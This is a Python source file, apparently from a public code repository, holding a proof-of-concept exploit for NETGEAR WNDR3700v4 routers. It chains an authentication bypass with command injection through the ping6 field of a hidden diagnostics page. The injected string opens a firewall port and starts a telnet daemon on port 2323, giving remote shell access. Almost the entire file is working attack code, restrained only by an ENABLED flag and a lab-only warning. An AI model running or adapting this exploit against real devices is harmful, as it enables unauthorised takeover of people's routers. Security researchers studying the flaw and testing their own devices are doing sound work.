Permalink
Find file
117bc1c Feb 5, 2014
executable file 286 lines (225 sloc) 7.74 KB
#!/usr/bin/env python
"""
This exploits an authentication bypass bug and a command injection bug in
the NETGEAR WNDR3700v4.
Firmware versions 1.0.1.32 and 1.0.1.42 are affected.
Author: Zachary Cutlip
uid000 at gmail dot com
Twitter: @zcutlip
(c) 2013 Zachary Cutlip,
Tactical Network Solutions
"""
import sys
import re
try:
from bowcaster.common.support import Logging
from bowcaster.clients.http import HttpClient
except:
print "***************************************"
print "Unable to import Bowcaster modules.\nDo you have Bowcaster installed?"
print "***************************************"
exit(1)
try:
from bowcaster.clients.http import HTTPError
except:
from urllib2 import HTTPError
try:
from environment import ENABLED
except:
ENABLED=False
KNOWN_MODELS=["WNDR3700v4"]
KNOWN_FIRMWARES=["V1.0.1.32NA","V1.0.1.42NA"]
TELNET_COMMAND=("|| iptables -I INPUT -i eth1 -p tcp --dport 2323 -j ACCEPT; "+
"telnetd -p 2323; \#")
STARS="***************************************"
def extract_timestamp(response):
html_regex=".*timestamp=(\d+).*"
js_regex='var\s+ts.*"(\d+)".*'
timestamp=None
for line in response.splitlines():
match=re.match(html_regex,line)
if not match:
match=re.match(js_regex,line)
if match:
timestamp=match.group(1)
break
return timestamp
def fingerprint_netgear_version(target,port=80,https=False):
client=HttpClient()
protocol="http"
if https:
protocol="https"
url="%s://%s:%d/currentsetting.htm" % (protocol,target,port)
try:
resp=client.send(url)
except HTTPError as e:
if e.code==401 or e.code == 404:
return {}
else:
raise
lines=resp.splitlines()
fingerprint={}
for line in lines:
(k,v)=line.strip().split("=")
fingerprint[k]=v
return fingerprint
def validate_fingerprint(fingerprint_data,logger=None):
if not logger:
logger=Logging()
if fingerprint_data.has_key("Model"):
model=fingerprint_data["Model"]
logger.LOG_DEBUG("Model: %s" % model)
else:
logger.LOG_WARN("Couldn't identify model.")
return False
if not model in KNOWN_MODELS:
logger.LOG_WARN("Unknown model: %s" % model)
return False
if fingerprint_data.has_key("Firmware"):
firmware=fingerprint_data["Firmware"]
logger.LOG_DEBUG("Firmware: %s" % firmware)
else:
logger.LOG_WARN("Couldn't indentify firmware.")
return False
if not firmware in KNOWN_FIRMWARES:
logger.LOG_WARN("Unknown firmware version: %s" % firmware)
return False
return True
def is_unlocked(target,port=80,https=False):
logger=Logging()
protocol="http"
if https:
protocol="https"
client=HttpClient()
url="%s://%s:%d/index.htm" % (protocol,target,port)
unlocked = False
try:
client.send(url)
unlocked=True
except HTTPError as e:
logger.LOG_DEBUG("Got code: %s" % e.code)
if e.code == 401:
unlocked=False
else:
raise
return unlocked
def relock_target(target,port=80,logger=None,https=False):
if not logger:
logger=Logging()
protocol="http"
if https:
protocol="https"
if not is_unlocked(target,port=port,https=https):
logger.LOG_INFO("Target is already locked!")
return
client=HttpClient()
url="%s://%s:%d/BRS_success.html" %(protocol,target,port)
logger.LOG_INFO("Requesting BRS_success.html in order to obtain timestamp.")
resp=client.send(url)
timestamp=extract_timestamp(resp)
if not timestamp:
logger.LOG_WARN("Couldn't extract timestamp from response.")
else:
logger.LOG_DEBUG("Timestamp: %s" % timestamp)
url=("%s://%s:%d/apply.cgi?/" % (protocol,target,port)+
"BRS_netgear_success.html%20timestamp=" + timestamp)
post_data={"submit_flag":"hijack_success",
"click_flag":"0"}
resp=client.send(url,post_data=post_data,urlencode=True)
def unlock_target(target,port=80,logger=None,https=False):
if not logger:
logger=Logging()
protocol="http"
if https:
protocol="https"
if is_unlocked(target,port=port,https=https):
logger.LOG_INFO("Target is already unlocked.")
return
else:
logger.LOG_INFO("Unlocking target.")
client=HttpClient()
url="%s://%s:%d/BRS_02_genieHelp.html" % (protocol,target,port)
client.send(url)
if is_unlocked(target,port=port,https=https):
logger.LOG_INFO("Target unlocked!")
else:
logger.LOG_WARN("Target unlock failed!")
raise Exception("Unlock failed.")
def inject_command(command,target,port=80,logger=None,https=False):
if not logger:
logger=Logging()
client=HttpClient()
protocol="http"
if https:
protocol="https"
url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port)
logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.")
resp=client.send(url)
timestamp=extract_timestamp(resp)
if timestamp:
logger.LOG_DEBUG("Got timestamp: %s" % timestamp)
else:
logger.LOG_WARN("Couldn't extract timestamp from response.")
raise Exception()
url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port)
url+="%20timestamp="+timestamp
logger.LOG_DEBUG("URL: %s" % url)
post_data={}
post_data["submit_flag"]="ping6"
post_data["ping6_text"]=command
post_data["traceroute6_text"]=""
client.send(url,post_data=post_data,urlencode=True)
def main(target,port=80,protocol="http"):
logger=Logging()
https=False
if protocol == "https":
https=True
logger.LOG_INFO(STARS)
fingerprint_data=fingerprint_netgear_version(target,port=port,https=https)
if not validate_fingerprint(fingerprint_data,logger=logger):
logger.LOG_WARN("Failed to fingerprint device.")
sys.exit(1)
logger.LOG_INFO("Device fingerprint successful.")
logger.LOG_INFO(STARS)
unlock_target(target,port=port,logger=logger,https=https)
if is_unlocked(target,port=port,https=https):
logger.LOG_INFO("Target unlock successful.")
else:
logger.LOG_WARN("Target unlock unsuccessful.")
sys.exit(1)
logger.LOG_INFO(STARS)
logger.LOG_INFO("Attempting to inject command: %s" % TELNET_COMMAND)
inject_command(TELNET_COMMAND,target,port=port,logger=logger,https=https)
logger.LOG_INFO(STARS)
logger.LOG_INFO("Relocking target.")
relock_target(target,port=port,logger=logger,https=https)
if not is_unlocked(target,port=port,https=https):
logger.LOG_INFO("Target relock successful.")
else:
logger.LOG_WARN("Target relock unsuccessful")
sys.exit(1)
def warning():
print STARS
print STARS
print "*"
print "* WARNING: Do not attempt to use this proof-of-concept exploit code"
print "* against a device that you don't own. This is only intended to test"
print "* devices in a lab environment to verify vulnerability."
print "*"
print STARS
print STARS
exit(1)
if __name__ == "__main__":
if not ENABLED:
warning()
try:
protocol=sys.argv[3]
except:
protocol="http"
try:
target=sys.argv[1]
port=int(sys.argv[2])
except:
Logging().LOG_WARN("USAGE: inject.py <target> <port> {https,http}")
sys.exit(1)
main(sys.argv[1],port=int(sys.argv[2]),protocol=protocol)